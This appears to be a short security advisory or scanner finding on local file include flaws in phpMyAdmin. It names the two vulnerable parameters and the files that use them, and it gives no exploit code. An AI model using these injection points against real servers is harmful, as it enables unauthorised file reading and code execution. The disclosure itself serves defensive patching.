The installed version of phpMyAdmin suffers from multiple local file include flaws due to its failure to sanitize user input prior to its use in PHP ‘include’ and ‘require_once’ calls. Specifically, a remote attacker can control values for the ‘GLOBALS[cfg][ThemePath]’ parameter used in ‘css/phpmyadmin.css.php’ as well as the ‘cfg[Server][extension]’ parameter use in ‘libraries/database_interface.lib.php’, which enables him to read arbitrary files on the remote host and possibly even run arbitrary code, subject to the privileges of the web server process.
